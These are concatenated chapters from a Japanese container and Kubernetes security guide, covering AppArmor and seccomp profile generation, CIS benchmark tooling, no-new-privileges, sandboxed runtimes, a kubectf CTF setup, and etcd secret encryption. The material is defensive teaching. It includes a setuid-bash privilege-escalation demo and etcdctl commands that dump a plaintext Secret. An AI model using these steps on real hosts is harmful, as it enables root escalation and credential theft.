A /var/cache/nginx/uwsgi_temp
A /var/cache/nginx/client_temp
A /var/cache/nginx/fastcgi_temp
C /etc
C /etc/nginx
C /etc/nginx/conf.d
C /etc/nginx/conf.d/default.conf
```

ただし、これは **変更があったファイル** を表示するだけなので `open` や `read` されたファイルは取得することができません。  
そのため、それらのファイル一覧を取得するには eBPF などを用いてイベントトレースするなどの方法があります。  

例えば [opensnoop.py][1] 相当の機能を持たせた上で、コンテナのイベントのみ表示するようにすると、次のように開いたファイル一覧を取得することができます。

```sh
$ sudo ./cxray
{"data":{"container_id":"4604f9e03","event":{"name":"open","data":{"comm":"bash","fname":"/","pid":"1800","ret":"3","uid":"0"}}},"level":"info","msg":"","time":"2020-11-15T15:31:40+09:00"}
{"data":{"container_id":"4604f9e03","event":{"name":"open","data":{"comm":"cat","fname":"/etc/ld.so.cache","pid":"2371","ret":"3","uid":"0"}}},"level":"info","msg":"","time":"2020-11-15T15:31:41+09:00"}
{"data":{"container_id":"4604f9e03","event":{"name":"open","data":{"comm":"cat","fname":"/lib/x86_64-linux-gnu/libc.so.6","pid":"2371","ret":"3","uid":"0"}}},"level":"info","msg":"","time":"2020-11-15T15:31:41+09:00"}
{"data":{"container_id":"4604f9e03","event":{"name":"open","data":{"comm":"cat","fname":"/etc/passwd","pid":"2371","ret":"3","uid":"0"}}},"level":"info","msg":"","time":"2020-11-15T15:31:41+09:00"}
```

## AppArmor プロファイルを簡単に生成する

AppArmor プロファイルのシンタックスが難解なため、意図しない設定をしてしまうことがあります。  
そこで [genuinetolls/bane][2] というツールを紹介します。

これは TOML ファイルに禁止するコマンドやファイルパスを記述するだけで AppArmor プロファイルを生成するツールです。

例えば次のような TOML ファイルを用意します。

```toml
Name = "sample"

[Filesystem]
# read only paths for the container
ReadOnlyPaths = [
	"/bin/**",
	"/boot/**",
	"/dev/**",
	"/etc/**",
	"/home/**",
	"/lib/**",
	"/lib64/**",
	"/media/**",
	"/mnt/**",
	"/opt/**",
	"/proc/**",
	"/root/**",
	"/sbin/**",
	"/srv/**",
	"/tmp/**",
	"/sys/**",
	"/usr/**",
]

# paths where you want to log on write
LogOnWritePaths = [
	"/**"
]

# paths where you can write
WritablePaths = [
	"/var/run/nginx.pid"
]

# allowed executable files for the container
AllowExec = [
	"/usr/sbin/nginx"
]

# denied executable files
DenyExec = [
	"/bin/dash",
	"/bin/sh",
	"/usr/bin/top"
]
```

`bane` を使用すると AppArmor プロファイルを生成し、 `apparmor_parser` を実行してくれます。

```sh
ubuntu@bpf:~$ sudo ./bane sample.toml
Profile installed successfully you can now run the profile with
`docker run --security-opt="apparmor:docker-sample"`
ubuntu@bpf:~$ docker run --rm -it --security-opt="apparmor:docker-sample" nginx:latest bash
root@03b91bd97550:/# /bin/dash
bash: /bin/dash: Permission denied
root@03b91bd97550:/# sh
bash: /bin/sh: Permission denied
```

また、`docker-slim` を使って生成することも可能です。`docker-slim` のインストールは [ドキュメント][3] を参照してください。  

`docker-slim build` を実行し適当にコンテナの中でコマンドを実行します。今回は HTTP ポートを Expose しないため `--http-probe=false` を与えています。

```sh
ubuntu@vm:~/$ ./docker-slim build ubuntu:latest --http-probe=false
docker-slim: message='join the Gitter channel to ask questions or to share your feedback' info='https://gitter.im/docker-slim/community'
docker-slim: message='join the Discord server to ask questions or to share your feedback' info='https://discord.gg/9tDyxYS'
docker-slim[build]: info=probe message='changing continue-after from probe to enter because http-probe is disabled'
docker-slim[build]: state=started
docker-slim[build]: info=params target=ubuntu:latest continue.mode=enter rt.as.user=true keep.perms=true
docker-slim[build]: state=image.inspection.start
docker-slim[build]: info=image id=sha256:9140108b62dc87d9b278bb0d4fd6a3e44c2959646eb966b86531306faa81b09b size.bytes=72875723 size.human=73 MB
docker-slim[build]: info=image.stack index=0 name='ubuntu:latest' id='sha256:9140108b62dc87d9b278bb0d4fd6a3e44c2959646eb966b86531306faa81b09b'
docker-slim[build]: state=image.inspection.done
docker-slim[build]: state=container.inspection.start
docker-slim[build]: info=container status=created name=dockerslimk_6887_20201115065250 id=efa234652587e1367e9572b72abf534eb4e8190c603c5a46e77177a0a78094bd
docker-slim[build]: info=cmd.startmonitor status=sent
docker-slim[build]: info=event.startmonitor.done status=received
docker-slim[build]: info=container name=dockerslimk_6887_20201115065250 id=efa234652587e1367e9572b72abf534eb4e8190c603c5a46e77177a0a78094bd target.port.list=[] target.port.info=[] message='YOU CAN USE THESE PORTS TO INTERACT WITH THE CONTAINER'
docker-slim[build]: info=continue.after mode=enter message='provide the expected input to allow the container inspector to continue its execution'
docker-slim[build]: info=prompt message='USER INPUT REQUIRED, PRESS <ENTER> WHEN YOU ARE DONE USING THE CONTAINER'

docker-slim[build]: state=container.inspection.finishing
docker-slim[build]: state=container.inspection.artifact.processing
docker-slim[build]: state=container.inspection.done
docker-slim[build]: state=building message='building optimized image'
docker-slim[build]: state=completed
docker-slim[build]: info=results status='MINIFIED BY 9.95X [72875723 (73 MB) => 7322511 (7.3 MB)]'
docker-slim[build]: info=results  image.name=ubuntu.slim image.size='7.3 MB' data=true
docker-slim[build]: info=results  artifacts.location='/home/ubuntu/dist_linux/.docker-slim-state/images/9140108b62dc87d9b278bb0d4fd6a3e44c2959646eb966b86531306faa81b09b/artifacts'
docker-slim[build]: info=results  artifacts.report=creport.json
docker-slim[build]: info=results  artifacts.dockerfile.original=Dockerfile.fat
docker-slim[build]: info=results  artifacts.dockerfile.new=Dockerfile
docker-slim[build]: info=results  artifacts.seccomp=ubuntu-seccomp.json
docker-slim[build]: info=results  artifacts.apparmor=ubuntu-apparmor-profile
docker-slim[build]: state=done
docker-slim[build]: info=report file='slim.report.json'
docker-slim: message='join the Gitter channel to ask questions or to share your feedback' info='https://gitter.im/docker-slim/community'
docker-slim: message='join the Discord server to ask questions or to share your feedback' info='https://discord.gg/9tDyxYS'
```

実行を終了すると、上記メッセージにあるように `/home/ubuntu/dist_linux/.docker-slim-state/images/9140108b62dc87d9b278bb0d4fd6a3e44c2959646eb966b86531306faa81b09b/artifacts/ubuntu-apparmor-profile` に AppArmor プロファイルが生成されます。  

このようにツールの手助けを借りると簡単にプロファイルを生成することができます。

[1]: https://github.com/iovisor/bcc/blob/master/tools/opensnoop.py "https://github.com/iovisor/bcc/blob/master/tools/opensnoop.py"
[2]: https://github.com/genuinetools/bane "https://github.com/genuinetools/bane"
[3]: https://github.com/docker-slim/docker-slim#installation "https://github.com/docker-slim/docker-slim#installation"


================================================
FILE: source/hardening/cis-benchmark.md
================================================
# CIS Benchmarks に準拠して Docker をセキュアにする

CIS Benchmarks[^1] は CIS (Center For Internet Security) というインターネット・セキュリティの標準化に取り組んでいる団体が発行しているベストプラクティスのガイドラインです。  
CIS Benchmarks の対象には OS の他に Apache などのミドルウェアがあり、Docker も含まれています。[^2]

CIS Benchmarks の特徴として、項目の検査内容や対応が明確なため、ツールとして落とし込みやすいことです。既に docker-bench-security[^3] など、ツール化されているものがあるため、気軽に試すことができます。

## docker-bench-security で CIS Benchmark に準拠する

docker-bench-security は CIS Docker Benchmark に準拠しているかを確認するツールです。  
大きく分けて次の7点をチェックします。

1. Host Configuration ... Docker daemon を実行しているホストの構成
2. Docker daemon configuration ... Docker daemon の設定
3. Docker daemon configuration files ... Docker daemon が利用するファイルのパーミッションなどの構成
4. Container Images and Build File ... ビルド済みイメージのセキュリティ
5. Container Runtimes ... コンテナランタイム
6. Docker Security Operations ... コンテナ運用におけるベストプラクティス
7. Docker Swarm Configuration ... Docker Swarm mode の設定

実行方法は次のようなコマンドで、コンテナとして動かすことができます。

```sh
ubuntu@sandbox:~$ docker run -it --net host --pid host --userns host --cap-add audit_control \
     -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
     -v /etc:/etc:ro \
     -v /usr/bin/containerd:/usr/bin/containerd:ro \
     -v /usr/bin/runc:/usr/bin/runc:ro \
     -v /usr/lib/systemd:/usr/lib/systemd:ro \
     -v /var/lib:/var/lib:ro \
     -v /var/run/docker.sock:/var/run/docker.sock:ro \
     --label docker_bench_security \
     docker/docker-bench-security
```

するとレポートが出力されます。問題がなければ「PASS」と表示されますが、準拠していない場合は「WARN」と出力されます。

```
[INFO] 1 - Host Configuration
[WARN] 1.1  - Ensure a separate partition for containers has been created
[NOTE] 1.2  - Ensure the container host has been Hardened
[INFO] 1.3  - Ensure Docker is up to date
[INFO]      * Using 19.03.13, verify is it up to date as deemed necessary
[INFO]      * Your operating system vendor may provide support and security maintenance for Docker
[INFO] 1.4  - Ensure only trusted users are allowed to control Docker daemon
[INFO]      * docker:x:999:ubuntu
[WARN] 1.5  - Ensure auditing is configured for the Docker daemon
[WARN] 1.6  - Ensure auditing is configured for Docker files and directories - /var/lib/docker
[WARN] 1.7  - Ensure auditing is configured for Docker files and directories - /etc/docker
...
```

例えば `1.5 Ensure auditing is configured for the Docker daemon` に対応するとしましょう。  
CIS Benchmark を確認すると、これは Docker daemon に対して audit が有効になっていないことを指摘しています。rootless Docker でない場合、Docker daemon は root 権限で動作するため、audit 対象としてセキュリティログを集めておくのがよいでしょう。

CIS Benchmark の Remediation 項目を確認すると auditd のルールに `-w /usr/bin/dockerd -k docker` を追加するという対応方法が記載されています。  
それに乗っ取り、対応を行い、Audit の項目のコマンドを実行して確認します。

```
ubuntu@sandbox:~$ sudo auditctl -l | grep /usr/bin/dockerd
-w /usr/bin/dockerd -p rwxa -k docker
```

これで問題ないようです。再度 docker-bench-security を実行すると `[PASS]` になることが確認できます。

## イメージをセキュアにする

Docker イメージをセキュアにするには、[Docker イメージのセキュリティ](../security/image/README.md)で紹介した「機密情報を含ませない」「脆弱性のあるパッケージをアップデートする」以外にも、いくつか気をつけるべき点があります。  
これも CIS Benchmark に「4. Container Images and Build File Configuration」として基準が示されており、docker-security-bench でスキャンすることが可能です。  
しかしながら docker-security-bench ではスコアとして計上されない Not Scored な項目がいくつか実装されていません。例えば次のような項目です。

* 機密情報を Dockerfile に含めない
* setuid / setgid されたバイナリの削除

また、CIS Benchmark で示されている基準以外にも `latest` タグを避ける、`sudo` コマンドを使用しないなどの観点もあります。  
これらを検出するために goodwithtech/dockle[^4] というツールがあるので、紹介します。

例えば `nginx:latest` イメージに対して実行すると次のような結果を得ます。

```
$ dockle nginx:latest
ubuntu@sandbox:~$ dockle nginx:latest
WARN    - CIS-DI-0001: Create a user for the container
        * Last user should not be root
WARN    - DKL-DI-0006: Avoid latest tag
        * Avoid 'latest' tag
INFO    - CIS-DI-0005: Enable Content trust for Docker
        * export DOCKER_CONTENT_TRUST=1 before docker pull/build
INFO    - CIS-DI-0006: Add HEALTHCHECK instruction to the container image
        * not found HEALTHCHECK statement
INFO    - CIS-DI-0008: Confirm safety of setuid/setgid files
        * setuid file: bin/mount urwxr-xr-x
        * setuid file: usr/bin/gpasswd urwxr-xr-x
        * setgid file: usr/bin/expiry grwxr-xr-x
        * setuid file: bin/su urwxr-xr-x
        * setgid file: usr/bin/wall grwxr-xr-x
        * setuid file: usr/bin/chfn urwxr-xr-x
        * setuid file: usr/bin/newgrp urwxr-xr-x
        * setuid file: usr/bin/chsh urwxr-xr-x
        * setuid file: bin/umount urwxr-xr-x
        * setgid file: sbin/unix_chkpwd grwxr-xr-x
        * setgid file: usr/bin/chage grwxr-xr-x
        * setuid file: usr/bin/passwd urwxr-xr-x
```

結果からは root ユーザーが使用されていたり、setuid されたバイナリが複数あることを確認できます。  

---

[^1]: https://www.cisecurity.org/cis-benchmarks/
[^2]: https://www.cisecurity.org/benchmark/docker/
[^3]: https://github.com/docker/docker-bench-security
[^4]: https://github.com/goodwithtech/dockle


================================================
FILE: source/hardening/monitoring.md
================================================
# コンテナの監視

TBD


================================================
FILE: source/hardening/no-new-privileges.md
================================================
# No New Privileges

Linux カーネルには No New Privileges[^1] と呼ばれる、子プロセスが新しい特権を取得できないようにする仕組みがあります。

setuid されたバイナリがコンテナの中にある場合、権限昇格につながる可能性がありますが、docker では `security-opt=no-new-privileges:true` というフラグを付与することで、これを防止できます。

次のように setuid された `mybash` を用意します。

```shell
$ cat Dockerfile
FROM ubuntu:18.04
RUN cp /bin/bash /bin/mybash && chmod +s /bin/mybash
RUN useradd -ms /bin/bash newuser
USER newuser
CMD ["/bin/bash"]
```

`no-new-privileges:false` の場合は `euid=0` で root 権限になっていることが確認できます。

```shell
$ docker run --security-opt=no-new-privileges:false -it --rm test:latest
newuser@3ee2685cd961:/$ id
uid=1000(newuser) gid=1000(newuser) groups=1000(newuser)
newuser@3ee2685cd961:/$ /bin/mybash -p
mybash-4.4# id
uid=1000(newuser) gid=1000(newuser) euid=0(root) egid=0(root) groups=0(root)
```

ここで `no-new-privileges:true` とすると新しいプロセスは特権を取得できないため、setuid されていても `euid=0` になることはありません。

```shell
$ docker run --security-opt=no-new-privileges:true -it --rm test:latest
newuser@80f241191a07:/$ /bin/mybash -p
newuser@80f241191a07:/$ id
uid=1000(newuser) gid=1000(newuser) groups=1000(newuser)
```

[^1]: https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"


================================================
FILE: source/hardening/runtime.md
================================================
# ランタイムセキュリティ

コンテナのセキュリティはホストとの Isolation に依存します。もしランタイムやカーネルに脆弱性があった場合、コンテナからホスト側に Breakeout できる要因になってしまいます。  

そこで、ランタイムを別のもの切り替えることでより強固にできるケースがあります。Docker はデフォルトで OCI ランタイムに runc を、CRI ランタイムに containerd を利用しますが、これらを gVisor や kata-containers などに切り替えることができます。

## gVisor

gVisor[^1] はコンテナのためのアプリケーションカーネルで、コンテナで発行されるシステムコールをトレースします。トレースされたシステムコールは gVisor によってフィルタ&置換されて実行されます。つまり、ホストカーネルのように振る舞うことで、ホストへの影響を小さくすることができています。  

一方で、gVisor が対応していないシステムコールは発行することができないため、例えば tcpdump などを実行することが 2020/11/15 現在できません。  
また、システムコールをトレースするということは、それだけオーバーヘッドが生じます。

## kata-containers

kata-containers[^2] はコンテナを VM のような分離レベルで動かすランタイムです。コンテナは QEMU / KVM / Firecraker 上で動作し、ホストとカーネルを共有しないため、非常に強固と言えます。  
このような Virtualized Containers への攻撃手法については black hat USA 2020 - Escaping Virtualized Containers[^3] に詳しく書かれています。

## Unikernel

TBD

---

[^1]: https://gvisor.dev/
[^2]: https://katacontainers.io/
[^3]: https://i.blackhat.com/USA-20/Thursday/us-20-Avrahami-Escaping-Virtualized-Containers.pdf


================================================
FILE: source/hardening/seccomp.md
================================================
# seccomp

AppArmor と同様に seccomp プロファイルもコンテナ上で動作するアプリケーションのイベントをトレースしなければ生成することが困難です。  
発行されているシステムコールをトレースするには `strace` や eBPF が利用できますが、ここでも `docker-slim` を活用することができます。  

AppArmor のときと同様に実行すると `home/ubuntu/dist_linux/.docker-slim-state/images/9140108b62dc87d9bb278bb0d4fd6a3e44c2959646eb966b86531306faa81b09b/artifacts/ubuntu-seccomp.json` に seccomp プロファイルが生成されます。

生成された seccomp プロファイルを見ると、許可されるシステムコールが明示的に記述されていることが確認できます。

```json
{
  "defaultAction": "SCMP_ACT_ERRNO",
  "architectures": [
    "SCMP_ARCH_X86_64"
  ],
  "syscalls": [
    {
      "names": [
        "getgid",
        "read",
        "setuid",
        "dup3",
        "getppid",
        ...
      ],
      "action": "SCMP_ACT_ALLOW",
      "includes": {},
      "excludes": {}
    }
  ]
}
```


================================================
FILE: source/introduction.md
================================================
# 1. コンテナの基礎技術

Linux コンテナはホストと分離するために様々な Linux カーネルの仕組みを利用しています。  
攻撃が生じる特定の領域に複数の保護レイヤを導入し、各レイヤは同種の攻撃に対して脆弱にならないような多層防御の仕組みが取られています。  
本章ではその保護の仕組みについて取り上げます。

## [Namespace](./namespace/README.md)

Linux コンテナのリソース分離技術の要である Namespace について簡単に紹介します。

## [chroot と pivot_root](./namespace/chroot-and-pivot_root.md)

コンテナのファイルシステムを分離するために必要な2つの仕組み `chroot` と `pivot_root` について紹介します。  
また、chroot の問題点についても取り上げます。

## [Capability](./capability/README.md)

Linux において権限を柔軟に付与できる仕組みである Capability について紹介します。

## [seccomp](./seccomp/README.md)

呼び出されるシステムコールの制限を行う seccomp について紹介します。

## [AppArmor](./lsm/apparmor.md)

ubuntu / debian などで、コンテナの保護機能の一つとして利用されている Linux Security Module である AppArmor について紹介します。

## [cgroup](./cgroup/README.md)

プロセスのリソース使用量を制限する仕組みである cgroup について紹介します。

# 2. コンテナのセキュリティと攻撃例

Linux コンテナの攻撃方法やそのセキュリティについて取り上げます。

## [Breakout Container](./security/breakout-to-host.md)

コンテナからホストに脱出することは Breakout / Jailbreak / Escape と呼ばれます。Privileged コンテナなど、過剰な権限を与えた場合にホスト側に Breakout できてしまうことを攻撃例を交えて紹介します。

## [Sensitive file mount](./security/sensitive-file-mount.md)

特定のファイルをマウントした場合にホスト側に Breakout できる攻撃例を紹介します。

## [DoS](./security/DoS.md)

コンテナからホスト側に対する DoS 攻撃例を紹介します。

## [コンテナ実行権限を持つグループへユーザー追加することについて](./security/adding-a-user-to-group.md)

Docker や LXD を操作するために一般ユーザーをそれぞれの実行権限を持つグループに追加した場合の危険性について紹介します。

## [AppArmor Bypass](./security/apparmor-bypass.md)

AppArmor のバイパス方法について紹介します。

## [seccomp Bypass](./security/seccomp-bypass.md)

seccomp のバイパス方法について紹介します。

## [イメージレイヤへの機密情報の保存](./security/image/secrets-in-layer.md)

イメージビルド時に機密情報をイメージに含めると、生成されたイメージから抽出することができるケースがあります。  
イメージレイヤの仕組みと具体例について紹介します。

## [イメージスキャナ](./security/image/scanner.md)

Docker イメージに含まれるソフトウェアの脆弱性を検出するイメージスキャナと、スキャナ自体の脆弱性について紹介します。

# 3. Hardening Container

コンテナをより安全に実行するための方法について紹介します。

## [No New Privileges](hardening/no-new-privileges.md)

子プロセスが特権を獲得しないようにする No New Privileges について紹介します。

## [AppArmor](hardening/apparmor.md)

AppArmor のプロファイルの自動生成などについて紹介します。

## [seccomp](hardening/seccomp.md)

seccomp のプロファイルの自動生成などについて紹介します。

## [runtime](hardening/runtime.md)

ランタイムやカーネルの脆弱性からホストを守るために containerd / runc 以外の CRI / OCI ランタイムについて紹介します。

## [monitoring](hardening/monitoring.md)

TBD

## [CIS Benchmark](hardening/cis-benchmark.md)

CIS Benchmark の紹介とツールを使った確認方法について紹介します。


================================================
FILE: source/kubernetes/hardening/README.md
================================================
TBD


================================================
FILE: source/kubernetes/hardening/secret-management.md
================================================
TBD


================================================
FILE: source/kubernetes/security/README.md
================================================
# Kubernetes Security

本章ではコンテナのオーケストレーションツールである Kubernetes への攻撃例とその対策を紹介します。

![Kubernetes クラスタにおける攻撃ベクターの例](./img/kubernetes-attack-vector.png)

この図は Kubernetes クラスタにおける攻撃ベクターを示しています。Kubernetes のコンポーネントもそうですが、Kubernetes クラスタでは CI / CD ツールやダッシュボードなども密に連携するものも多く、アクセスされるとクラスタの管理者権限を取得される可能性があるため、それらのアプリケーションへの認証認可も適切に設定する必要があります。  
Kubernetes では多数のコンポーネントが存在しており、ここに記載している以外の攻撃経路も当然あるため、クラスタに対する Attack Surface を知ることが重要です。

その理解を助けるために Microsoft が作成している ATT&CK ライクな Kubernetes attack matrix が参考になります。[^1]

![Kubernetes Attack Matrix from Microsoft](https://www.microsoft.com/security/blog/wp-content/uploads/2020/04/k8s-matrix.png)

本章でここに記載されているすべての攻撃経路を紹介はできませんが、Kubernetes クラスタの設定ミスやコンテナが侵害された場合に焦点を当て、攻撃例とその対策を紹介します。

---

[^1]: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/


================================================
FILE: source/kubernetes/security/ctf.md
================================================
# CTF を通して学ぶ Kubernetes セキュリティ

ここまでで Linux コンテナと Kubernetes のセキュリティを学んできました。ここからは CTF(Capture The Flag) 形式のゲームを通してより実践的に学んでみましょう。  

## kubectf の概要

CTF とは与えられた問題を解き、特定のフォーマットを持つ文字列を探し当てるゲームです。[^1]  
今回は演習のために [kubectf](https://github.com/mrtc0/kubectf) を用意しました。  
kubectf は minikube で演習クラスタを手元の環境で作成します。namespace ごとに問題を用意しており、Kubernetes ノードあるいは同一 namespace のリソースのどこかに存在する Flag を見つけ出します。  
kubectf では、ある Pod に侵入できたケースを想定し、 `victim` と名前がついたコンテナから問題に取り組みます。  
ですので、クラスタ管理者として Pod 外から manifest を変更したり、ノードに SSH してはいけません。あくまで攻撃者として脆弱な Pod に侵入し、そこから実行できる権限の範囲で取り組んでください。

例えば次のように `treasure-hunt` という問題では `treasure-hunt` namespace に切り替え、 `victim` と名前がついた Pod に入り、その中で問題に取り組みます。

```shell
❯ kubens treasure-hunt

❯ kubectl get pods
NAME                              READY   STATUS    RESTARTS   AGE
docker-registry-6b5b55b44-zgvxf   1/1     Running   0          42m
victim-68bcd4465f-q4pkb           1/1     Running   0          42m

# victim コンテナの中から問題に取り組む
❯ kubectl exec -it victim-68bcd4465f-q4pkb sh
/ #
```

## kubectf のセットアップ

kubectf のセットアップに際し、以下のソフトウェアが必要です。

* minikube
* kubectl
* Docker Engine

これらのソフトウェアのインストールはそれぞれのマニュアルをご参照ください。[^2]

インストールが終わったら kubectf のリポジトリを clone し、インストールスクリプトを実行します。

```shell
$ git@git.pepabo.com:mrtc0/kubectf.git
$ cd kubectf && ./setup.sh
```

インストールスクリプトの実行が終わり、全ての namespace で Pod が動いていることを確認してください。

```shell
❯ kubectl get ns
NAME                    STATUS   AGE
can-you-keep-a-secret   Active   4d17h
default                 Active   4d17h
gatekeeper-system       Active   4d17h
kube-node-lease         Active   4d17h
kube-public             Active   4d17h
kube-system             Active   4d17h
mountme                 Active   4d17h
mountme2                Active   4d17h
sniff                   Active   41h
treasure-hunt           Active   4d17h

❯ kubectl get pods --all-namespace
NAMESPACE               NAME                                            READY   STATUS    RESTARTS   AGE
can-you-keep-a-secret   victim-56958dffc6-ddfhk                         1/1     Running   1          4d17h
gatekeeper-system       gatekeeper-audit-7d99d9d87d-xqsnf               1/1     Running   2          4d17h
gatekeeper-system       gatekeeper-controller-manager-f94cc7dfc-56f4v   1/1     Running   2          4d17h
gatekeeper-system       gatekeeper-controller-manager-f94cc7dfc-5qfm4   1/1     Running   2          4d17h
gatekeeper-system       gatekeeper-controller-manager-f94cc7dfc-b77rm   1/1     Running   3          4d17h
kube-system             coredns-f9fd979d6-8tgk8                         1/1     Running   2          4d17h
kube-system             etcd-minikube                                   1/1     Running   2          4d17h
kube-system             kube-apiserver-minikube                         1/1     Running   2          4d17h
kube-system             kube-controller-manager-minikube                1/1     Running   2          4d17h
kube-system             kube-proxy-ljjkx                                1/1     Running   2          4d17h
kube-system             kube-scheduler-minikube                         1/1     Running   2          4d17h
kube-system             storage-provisioner                             1/1     Running   5          4d17h
mountme                 victim-7c5745b4dc-t4hdw                         1/1     Running   2          4d17h
mountme2                victim-7c5745b4dc-b2cmf                         1/1     Running   2          4d17h
sniff                   client-66b6f5cdcf-v5n9j                         1/1     Running   0          15h
sniff                   server-79b88f567-v4xsp                          1/1     Running   1          42h
sniff                   victim-7f4dc947d5-b9npv                         1/1     Running   0          15h
treasure-hunt           docker-registry-6b5b55b44-2mm42                 1/1     Running   2          4d17h
treasure-hunt           victim-68bcd4465f-n7s2r                         1/1     Running   2          4d17h
```

これで準備は OK です。問題の詳細等はリポジトリの各問題のディレクトリにある README を参照してください。

---

[^1] : Jeopardy 形式で多く利用されるルールです。他の形式の CTF もあり、それぞれルールが異なります。


================================================
FILE: source/kubernetes/security/etcd.md
================================================
# etcd

Kubernetes のコントロールプレーンには、クラスタの情報を格納する KV ストアとして etcd があります。
etcd はデフォルトでは 2379/tcp で API を提供しています。

```shell
root@master1:/# ss -ntlp4 | grep etcd
LISTEN    0         4096             127.0.0.1:2379             0.0.0.0:*        users:(("etcd",pid=11583,fd=6))
LISTEN    0         4096            10.0.1.105:2379             0.0.0.0:*        users:(("etcd",pid=11583,fd=5))
LISTEN    0         4096            10.0.1.105:2380             0.0.0.0:*        users:(("etcd",pid=11583,fd=3))
```

保管する情報には Secret リソースも含まれるため、適切なアクセス制御や暗号化を施す必要があります。  
多くのクラスタ構築ツールでは外部公開せずに、TLS クライアント証明書による接続が必須になるように構成されます。

## etcd の操作

etcd は API を介して操作することができます。

```
root@master1:/# curl -s -k \
    --cert /etc/ssl/etcd/ssl/node-master1.pem \
    --key /etc/ssl/etcd/ssl/node-master1-key.pem \
    --cacert /etc/ssl/etcd/ssl/ca.pem \
    https://127.0.0.1:2379/version | jq
{
  "etcdserver": "3.4.13",
  "etcdcluster": "3.4.0"
}
```

また、etcdctl を使って操作することもできます。etcd のバージョンによって API が異なるため、`ETCDCTL_API` 環境変数で利用するバージョンを指定する必要があります。  
キーの一覧を取得すると Kubernetes クラスタのほとんどのリソースが含まれていることがわかります。

```
root@master1:/# etcdctl \
    --cert /etc/ssl/etcd/ssl/node-master1.pem \
    --key /etc/ssl/etcd/ssl/node-master1-key.pem \
    --cacert /etc/ssl/etcd/ssl/ca.pem \
    --endpoints https://127.0.0.1:2379 \
    get / --prefix --keys-only

/registry/apiextensions.k8s.io/customresourcedefinitions/bgpconfigurations.crd.projectcalico.org
/registry/apiextensions.k8s.io/customresourcedefinitions/bgppeers.crd.projectcalico.org
/registry/apiextensions.k8s.io/customresourcedefinitions/blockaffinities.crd.projectcalico.org
...
/registry/clusterrolebindings/calico-kube-controllers
/registry/clusterrolebindings/calico-node
/registry/clusterrolebindings/cephfs-csi-nodeplugin
...
/registry/clusterroles/admin
/registry/clusterroles/calico-kube-controllers
/registry/clusterroles/calico-node
...
/registry/configmaps/default/kube-root-ca.crt
/registry/configmaps/kube-node-lease/kube-root-ca.crt
/registry/configmaps/kube-public/cluster-info
...
/registry/controllerrevisions/kube-system/calico-node-f68f5dfc5
/registry/controllerrevisions/kube-system/kube-proxy-5bd89cc4b7
/registry/controllerrevisions/kube-system/nodelocaldns-84bfb6b45f
...
/registry/daemonsets/kube-system/calico-node
/registry/daemonsets/kube-system/kube-proxy
/registry/daemonsets/kube-system/nodelocaldns
...
/registry/deployments/kube-system/calico-kube-controllers
/registry/deployments/kube-system/coredns
/registry/deployments/kube-system/dns-autoscaler
...
/registry/namespaces/default
/registry/namespaces/kube-node-lease
/registry/namespaces/kube-public
...
/registry/pods/kube-system/calico-kube-controllers-7c5b64bf96-l54fz
/registry/pods/kube-system/calico-node-g7r9q
/registry/pods/kube-system/calico-node-pxzx4
...
/registry/secrets/kube-node-lease/default-token-jqg65
/registry/secrets/kube-public/default-token-rhw5q
/registry/secrets/kube-system/attachdetach-controller-token-dn6nl
...
```

値はシリアライズされたバイナリ値となっているため、可読性に乏しいですが、リソースのオブジェクトが入っていることがわかります。

```shell
root@master1:/# etcdctl \
    --cert /etc/ssl/etcd/ssl/node-master1.pem \
    --key /etc/ssl/etcd/ssl/node-master1-key.pem \
    --cacert /etc/ssl/etcd/ssl/ca.pem \
    --endpoints https://127.0.0.1:2379 \
    get /registry/namespaces/kube-system -w fields
"ClusterID" : 18321220406064639639
"MemberID" : 7551142479662027965
"Revision" : 1223524
"RaftTerm" : 3
"Key" : "/registry/namespaces/kube-system"
"CreateRevision" : 4
"ModRevision" : 4
"Version" : 1
"Value" : "k8s\x00\n\x0f\n\x02v1\x12\tNamespace\x12\xb6\x01\n\x9b\x01\n\vkube-system\x12\x00\x1a\x00\"\x00*$a65a4862-cb15-4a8d-9115-35cb3dd9a6422\x008\x00B\b\b\xc9\xffو\x06\x10\x00z\x00\x8a\x01O\n\x0ekube-apiserver\x12\x06Update\x1a\x02v1\"\b\b\xc9\xffو\x06\x10\x002\bFieldsV1:\x1d\n\x1b{\"f:status\":{\"f:phase\":{}}}\x12\f\n\nkubernetes\x1a\b\n\x06Active\x1a\x00\"\x00"
"Lease" : 0
"More" : false
"Count" : 1
```

## Secret の暗号化

etcd に含まれるデータはデフォルトでは暗号化されません。そのため、etcd の API にアクセスされた場合、Secret リソースも含めた Kubernetes クラスタに含まれるクレデンシャルが漏洩する可能性があります。

```shell
❯ kubectl create secret generic password --from-literal=pass='p@ssw0rd'
secret/password created

root@master1:/# etcdctl \
    --cert /etc/ssl/etcd/ssl/node-master1.pem \
    --key /etc/ssl/etcd/ssl/node-master1-key.pem \
    --cacert /etc/ssl/etcd/ssl/ca.pem \
    --endpoints https://127.0.0.1:2379 \
    get /registry/secrets/default/password -w fields
"ClusterID" : 18321220406064639639
"MemberID" : 7551142479662027965
"Revision" : 1228694
"RaftTerm" : 3
"Key" : "/registry/secrets/default/password"
"CreateRevision" : 1228577
"ModRevision" : 1228577
"Version" : 1
# `p@ssw0rd` が含まれている
"Value" : "k8s\x00\n\f\n\x02v1\x12\x06Secret\x12\xcc\x01\n\xaf\x01\n\bpassword\x12\x00\x1a\adefault\"\x00*$85ed6ed7-af50-4962-9450-29de336c26132\x008\x00B\b\b\xf9\xde\xed\x88\x06\x10\x00z\x00\x8a\x01_\n\x0ekubectl-create\x12\x06Update\x1a\x02v1\"\b\b\xf9\xde\xed\x88\x06\x10\x002\bFieldsV1:-\n+{\"f:data\":{\".\":{},\"f:pass\":{}},\"f:type\":{}}\x12\x10\n\x04pass\x12\bp@ssw0rd\x1a\x06Opaque\x1a\x00\"\x00"
"Lease" : 0
"More" : false
"Count" : 1
```

適切に暗号化を行うと、値は次のようになり、etcd の API 経由では平文は取得できなくなります。

```yaml
"Value" : "k8s:enc:aesgcm:v1:key1:ZZS(՝Uu\x1e\x81\xc0owc\x83j\x8e\x05\x8b\a(\x85\xb2\x0e\x8dd%\xc9!\xeey7\x..."
```

暗号化方式にはいくつかのパラメータが利用できますが、ローカルで管理している暗号化キーを使用する場合、EncryptionConfiguration のファイルに暗号化キーが保存されているため、ホストが侵害された場合は、復号される可能性があります。そのため、KMS のような Envelope 暗号化を利用する方式が推奨されます。

